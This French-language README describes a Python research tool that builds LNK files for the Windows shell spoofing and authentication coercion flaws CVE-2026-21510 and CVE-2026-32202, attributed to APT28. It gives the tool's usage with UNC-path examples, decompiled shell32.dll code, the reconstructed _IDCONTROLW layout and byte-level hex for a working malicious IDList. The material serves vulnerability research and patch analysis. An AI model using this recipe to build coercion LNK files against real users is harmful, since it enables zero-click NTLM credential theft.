
Génère des fichiers LNK avec des structures _IDCONTROLW conçues pour rechercher les vulnérabilités de spoofing du shell Windows CVE-2026-21510 et CVE-2026-32202, y compris la rétro-ingénierie des composants internes de shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWContexte de recherche : Analyse de CVE-2026-21510 / CVE-2026-32202 (chaîne d'exploitation LNK d'APT28).
Basé sur Akamai Security Research.
Objectif : Reconstruire la structure interne_IDCONTROLWutilisée parshell32.dllpour représenter les applets du Panneau de configuration dans unLinkTargetIDList.
APT28 a exploité une vulnérabilité dans Windows Shell (shell32.dll) en créant un fichier .lnk malveillant contenant un LinkTargetIDList avec un chemin UNC intégré dans une structure _IDCONTROLW non documentée. Cela a amené explorer.exe à initier une connexion SMB vers un serveur contrôlé par l'attaquant sans interaction de l'utilisateur (zero-click).
La structure _IDCONTROLW n'est pas documentée dans le SDK Windows public ni dans les symboles PDB publics de Microsoft pour shell32.dll. Ce rapport documente sa reconstruction par analyse statique dans IDA Pro.
Selon MS-SHLLINK, le LinkTargetIDList contient un IDList standard — un tableau d'entrées ItemID de longueur variable terminé par un octet nul de 2 octets.
Dans l'exploit APT28, l'IDList contient exactement trois éléments :
| Index | Contenu |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — racine du Panneau de configuration |
IDList[1] | Élément CControlPanelCategoryFolder — « Tous les éléments du Panneau de configuration » (catégorie 0) |
IDList[2] | _IDCONTROLW — entrée d'applet CPL avec chemin UNC intégré |
Cela correspond au chemin virtuel :
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{entrée CPL}
Étant donné que _IDCONTROLW est absent des symboles PDB publics, la reconstruction a été effectuée en traçant la chaîne d'appels dans IDA Pro à partir de CControlPanelFolder::GetUIObjectOf — la fonction responsable du rendu des éléments du Panneau de configuration dans l'Explorateur.
CControlPanelFolder::GetUIObjectOfLorsque l'Explorateur affiche un dossier contenant le LNK malveillant, il appelle GetUIObjectOf pour extraire une icône pour l'élément CPL. Cela déclenche la chaîne suivante :
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW déclenché ici (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← détecte _IDCONTROLW
_IsUnicodeCPLWorker — validation de la structureconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Cela révèle le marqueur Unicode à l'offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — accès aux champs// Chemin Unicode lu à l'offset +0x18 (v5[1] = &structure[1] = +0x18) :
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Repli ANSI lu à l'offset +0x0C :
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Cela confirme que le chemin Unicode (ModulePath) commence à +0x18.
_IDControlCreateW — construction de la structureint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) en octets
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // taille totale des données
v11 = ILCreate(v10 + 26); // alloc : données + en-tête 0x1A
v11[1] = a1; // +0x04 : dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D : typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14 : cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16 : offName
*(_WORD*)v11 = v10 + 24; // +0x00 : cb
// chaînes écrites à +0x18
}
_IDCONTROLW reconstruitestruct _IDCONTROLW {
WORD cb; // +0x00 taille de la structure entière (y compris cb lui-même)
WORD pad1; // +0x02 remplissage, toujours 0
DWORD dwAppletID; // +0x04 ID d'applet (négatif pour les CPL enregistrés, ex. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 toujours 0 (vérifié par _IsUnicodeCPLWorker)
WORD pad3; // +0x0A toujours 0 (vérifié par _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C toujours 0 (vérifié par _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — marqueur CPL Unicode
WORD pad5; // +0x0E remplissage
DWORD pad6; // +0x10 remplissage
WORD cchModule; // +0x14 longueur de ModulePath en WCHAR (terminateur nul inclus)
WORD offName; // +0x16 offset de Name depuis le début de data[] en WCHAR
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Taille | Champ | Valeur / Notes |
|---|---|---|---|
+0x00 | WORD | cb | Taille totale de la structure |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | ID d'applet (ex. 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validé par _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validé par _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validé par _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — marqueur Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name suit immédiatement ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWLa version ANSI (_IDCONTROL) est créée par _IDControlCreateA et utilise une disposition différente :
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Différences clés :
| Propriété | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Taille de l'en-tête | 0x0C (12 octets) | 0x18 (24 octets) |
| Encodage des chaînes | ANSI (char) | UTF-16LE (WCHAR) |
| Marqueur Unicode | absent | +0x0D = 0x6A |
| Détection | _IsUnicodeCPLWorker retourne nullptr | retourne un pointeur |
| Offset de début du chemin | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Type 0x1F = élément shell racine avec CLSID.
Reconstruit à partir de CControlPanelCategoryFolder::CreateIDList :
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // identifiant magique
v5[2] = 0; // index de catégorie = 0
Binaire :
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW avec chemin UNCExemple avec \\192.168.1.31\share\test.cpl :
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
La chaîne de vulnérabilité dans la version non corrigée :
Explorer affiche le dossier
→ CControlPanelFolder::GetUIObjectOf (demande d'extraction d'icône)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← connexion SMB initiée ICI
Le correctif de Microsoft (CVE-2026-21510) a introduit ControlPanelLinkSite qui ajoute une vérification SmartScreen via IVerifyingTrust::OnVerifyingTrust — mais uniquement au stade de ShellExecuteExW. L'appel à PathFileExistsW dans GetModuleMapped se produit plus tôt dans la chaîne et n'a pas été traité, laissant CVE-2026-32202 (coercition d'authentification) non corrigé jusqu'à une mise à jour ultérieure.
Les informations fournies dans ce dépôt sont à des fins éducatives et informatives uniquement. L'auteur n'approuve pas et ne porte aucune responsabilité pour toute utilisation illégale, malveillante ou contraire à l'éthique du matériel présenté. Les techniques et concepts abordés ne doivent pas être appliqués à des systèmes ou réseaux sans autorisation appropriée. L'auteur n'est pas responsable des dommages, conséquences juridiques ou pertes résultant d'une mauvaise utilisation de ces informations. Les lecteurs sont encouragés à respecter toutes les lois et directives applicables concernant les pratiques de cybersécurité.